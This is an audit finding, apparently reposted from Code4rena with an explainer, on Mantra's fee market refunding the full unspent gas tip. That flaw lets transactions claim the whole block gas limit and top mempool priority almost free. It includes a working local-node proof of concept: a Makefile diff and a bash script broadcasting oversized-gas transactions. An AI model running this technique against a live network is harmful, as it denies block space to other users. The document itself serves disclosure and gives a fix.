Refunding the full gas fee tip allows inflating the transaction priority and filling up the block gas limit, effectively DoSing the network
The fee market refunds the entire unspent gas fee, including the tip, allowing an attacker to set a very high gas limit and priority while only paying for the gas actually used. This lets them fill blocks with low-gas transactions and always have high priority, potentially causing a denial of service.
Originally disclosed on Code4rena
Submitted by berndartmueller
Finding description and impact
skip-mev’s feemarket ante handler escrows the full paid fee amount (which includes the base gas fee + tip). Any paid gas fee that is not consumed is fully refunded to the fee payer in Mantra’s xfeemarket post handler.
This is problematic in two ways:
- According to the
genesis.jsonconfiguration for Mantra, the consensus parameter for the maximum block gasmax_gasis set to75_000_000. This means that blocks will have a 75M gas limit and will only contain transactions that have a cumulative gas consumption of less than or equal to 75M. This is ensured by using a block gas meter, as seen when preparing a block and when finalizing a block. Therefore, knowing that unspent gas is fully refunded, an attacker can submit a tx with a gas limit of near 75M, consume only a small fraction of it, and get the rest refunded. This can be repeated to fill up the block with transactions that consume only a small fraction of the gas limit, effectively DoSing the network. - A transaction’s priority in the mempool is determined based on the paid fee. By purposefully overpaying, a transaction can always have a very high priority.
Proof of Concept
skip-mev’s feemarket feeMarketCheckDecorator() ante handler decorator escrows the full paid fee amount.
The transaction’s priority is determined via the priorityFee by converting the full paid fee amount (in any of the allowed coins) to the base denom fee coin (uom). This priorityFee is then used to set the transaction priority within the mempool.
156: ctx = ctx.WithPriority(GetTxPriority(priorityFee, int64(gas), baseGasPrice))
In the post handler, after the message is executed, BurnFeeAndRefund() refunds the tip, i.e., the difference between the gas consumed and the paid fee, to the fee payer.
148: func (dfd FeeMarketDeductDecorator) BurnFeeAndRefund(ctx sdk.Context, fee, tip sdk.Coin, feePayer sdk.AccAddress, defaultFeeDenom string) error {
... // [...]
163:
164: // refund the tip if it is not nil and non zero
165: if !tip.IsNil() && !tip.IsZero() {
166: err := RefundTip(dfd.bankKeeper, ctx, feePayer, sdk.NewCoins(tip))
167: if err != nil {
168: return err
169: }
Knowing that the tip is subsequently refunded, a user might exploit this by providing a large amount of fees to (1) DoS the network by filling up blocks with transactions that consume only a small fraction of the gas limit, and (2) always have a very high priority in the mempool.
Proof of concept:
Here is a PoC that demonstrates how a transaction can set its gas limit as high as the block gas limit to consume all of the block gas and effectively DoS the network:
Two simple bank coin send transactions are generated and broadcasted. The first transaction sets the gas limit to the maximum block gas limit of 75M, and the second transaction sets it to a more reasonable 1M. Both transactions are signed and broadcasted quickly to attempt to get them into the same block.
But, since the first transaction consumes all of the block gas, the second transaction is put into a separate block.
Setup environment by starting a local node:
First, adapt the Makefile to ensure the validator has more available funds and the gas limit is set to 75M (mimicking Mantra mainnet):
diff --git a/Makefile b/Makefile
index 0ad0cdc..80d3c5a 100644
--- a/Makefile
+++ b/Makefile
@@ -220,12 +220,13 @@ mocks:
build-and-run-single-node: build
@echo "Building and running a single node for testing..."
@mkdir -p .mantrasinglenodetest
- @if [ ! -f .mantrasinglenodetest/config.toml ]; then \
+ @if [ ! -f .mantrasinglenodetest/config/config.toml ]; then \
./build/mantrachaind init single-node-test --chain-id test-chain --home .mantrasinglenodetest; \
./build/mantrachaind keys add validator --keyring-backend test --home .mantrasinglenodetest; \
- ./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show validator -a --keyring-backend test --home .mantrasinglenodetest) 100000000stake --home .mantrasinglenodetest; \
+ ./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show validator -a --keyring-backend test --home .mantrasinglenodetest) 100000000000000stake --home .mantrasinglenodetest; \
./build/mantrachaind genesis gentx validator 100000000stake --chain-id test-chain --keyring-backend test --home .mantrasinglenodetest; \
./build/mantrachaind genesis collect-gentxs --home .mantrasinglenodetest; \
+ sed -i'' -e 's/"max_gas": "-1"/"max_gas": "75000000"/' .mantrasinglenodetest/config/genesis.json; \
fi
./build/mantrachaind start --home .mantrasinglenodetest --minimum-gas-prices 0stake
Start the local node with:
make build-and-run-single-node
Next, save the following script as test.sh:
#!/bin/bash
MAX_BLOCK_GAS=75000000
ACCOUNT_ADDRESS=$(./build/mantrachaind keys show validator -a --keyring-backend test --home .mantrasinglenodetest)
# Query account to get current sequence number
ACCOUNT_INFO=$(./build/mantrachaind query auth account $ACCOUNT_ADDRESS --home .mantrasinglenodetest -o json)
# Extract sequence number using jq, navigating through the nested structure
# Note: Install jq if not already installed: sudo apt-get install jq
SEQUENCE=$(echo $ACCOUNT_INFO | jq -r '.account.value.sequence')
# Increment for second transaction
NEXT_SEQUENCE=$((SEQUENCE + 1))
echo "Current sequence: $SEQUENCE"
echo "Next sequence: $NEXT_SEQUENCE"
# Generate first unsigned tx
./build/mantrachaind tx bank send \
$ACCOUNT_ADDRESS \
mantra1y6xz2ggfc0pcsmyjlekh0j9pxh6hk87yz9jkm3 \
222stake \
--from validator \
--keyring-backend test \
--chain-id test-chain \
--home .mantrasinglenodetest \
--gas $MAX_BLOCK_GAS \
--gas-adjustment 1.5 \
--gas-prices 1.5stake \
--generate-only > unsigned_tx1.json
# Generate second unsigned tx
./build/mantrachaind tx bank send \
$ACCOUNT_ADDRESS \
mantra1y6xz2ggfc0pcsmyjlekh0j9pxh6hk87yz9jkm3 \
333stake \
--from validator \
--keyring-backend test \
--chain-id test-chain \
--home .mantrasinglenodetest \
--gas 1000000 \
--gas-adjustment 1.5 \
--gas-prices 1.5stake \
--generate-only > unsigned_tx2.json
# Sign first tx (use current sequence number)
./build/mantrachaind tx sign \
unsigned_tx1.json \
--from validator \
--keyring-backend test \
--chain-id test-chain \
--home .mantrasinglenodetest \
--sequence "$SEQUENCE" \
--account-number 0 \
--offline > signed_tx1.json
# Sign second tx (use current sequence + 1)
./build/mantrachaind tx sign \
unsigned_tx2.json \
--from validator \
--keyring-backend test \
--chain-id test-chain \
--home .mantrasinglenodetest \
--sequence "$NEXT_SEQUENCE" \
--account-number 0 \
--offline > signed_tx2.json
# Broadcast both txs quickly and capture their hashes
TX1_HASH=$(./build/mantrachaind tx broadcast signed_tx1.json --home .mantrasinglenodetest -o json | jq -r '.txhash')
TX2_HASH=$(./build/mantrachaind tx broadcast signed_tx2.json --home .mantrasinglenodetest -o json | jq -r '.txhash')
echo "Waiting for transactions to be included in blocks..."
sleep 6 # Give some time for transactions to be processed
# Query and display details for first transaction
echo "Transaction 1 ($TX1_HASH) details:"
TX1_DETAILS=$(./build/mantrachaind query tx $TX1_HASH --home .mantrasinglenodetest -o json)
echo "Gas used: $(echo $TX1_DETAILS | jq -r '.gas_used')"
echo "Gas wanted: $(echo $TX1_DETAILS | jq -r '.gas_wanted')"
echo "Height: $(echo $TX1_DETAILS | jq -r '.height')"
echo "Fee refunded: $(echo $TX1_DETAILS | jq -r '.events[] | select(.type=="tip_refund") | .attributes[0].value')"
echo -e "\nTransaction 2 ($TX2_HASH) details:"
TX2_DETAILS=$(./build/mantrachaind query tx $TX2_HASH --home .mantrasinglenodetest -o json)
echo "Gas used: $(echo $TX2_DETAILS | jq -r '.gas_used')"
echo "Gas wanted: $(echo $TX2_DETAILS | jq -r '.gas_wanted')"
echo "Height: $(echo $TX2_DETAILS | jq -r '.height')"
echo "Fee refunded: $(echo $TX2_DETAILS | jq -r '.events[] | select(.type=="tip_refund") | .attributes[0].value')"
# Calculate height difference
HEIGHT1=$(echo $TX1_DETAILS | jq -r '.height')
HEIGHT2=$(echo $TX2_DETAILS | jq -r '.height')
HEIGHT_DIFF=$((HEIGHT2 - HEIGHT1))
echo -e "\nHeight difference between transactions: $HEIGHT_DIFF blocks"
Run with chmod +x test.sh and ./test.sh
The output is as follows:
Current sequence: 3
Next sequence: 4
Waiting for transactions to be included in blocks...
Transaction 1 (654A5B452A32349CDBFC7949319484490BC082A3A2F63C7E1FF29F7789218033) details:
Gas used: 120980
Gas wanted: 75000000
Height: 187
Fee refunded: 112410901stake
Transaction 2 (D2416E3DCD64871D1ED68C4AF6272E2E3A4E96153727C54C605728927F482F72) details:
Gas used: 120848
Gas wanted: 1000000
Height: 188
Fee refunded: 1410961stake
Height difference between transactions: 1 blocks
It shows that both transactions are put into separate blocks, due to the first transaction consuming all of the block gas. And, the first transaction gets a refund of 112410901stake, which is the difference between the gas limit and the gas consumed.
Recommended mitigation steps
Consider only partially refunding the gas fee tip to the fee payer. This would disincentivize users from overpaying the gas fee.
This has also been suggested as one of the mitigations by Celestia.
Note: this finding was redacted upon submission and was populated by C4 staff to proceed through the audit process.
Lance Lan (MANTRA) confirmed
Looks valid.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The post handler refunds the full tip (the difference between the gas limit and gas consumed) instead of only a portion, so users can overpay to gain priority and block space without real cost.
Impact
An attacker could fill blocks with transactions that consume little gas, causing a denial of service, and could always have high priority in the mempool.
What the attacker needed
Ability to submit transactions; pay the upfront fee (refunded later)
The fix
Only partially refund the gas fee tip to disincentivize overpaying.
How it was found
- Set up a local node with a block gas limit of 75 million.
- Create two bank send transactions: one with a gas limit of 75 million and one with 1 million.
- Sign both transactions with consecutive sequence numbers.
- Broadcast both transactions quickly to try to get them into the same block.
- Observe that the first transaction uses only a small fraction of its gas limit but consumes all block gas, pushing the second transaction to the next block.
- Note that the first transaction receives a large refund of the unused fee.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you send a transaction on a blockchain, you pay a fee and set a gas limit, which is the most gas you are willing to use. If you don't use all that gas, the leftover fee is normally refunded. Here, the entire leftover fee, including any extra tip, is refunded, so someone can set a huge gas limit to get priority and fill blocks without paying for the unused gas.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.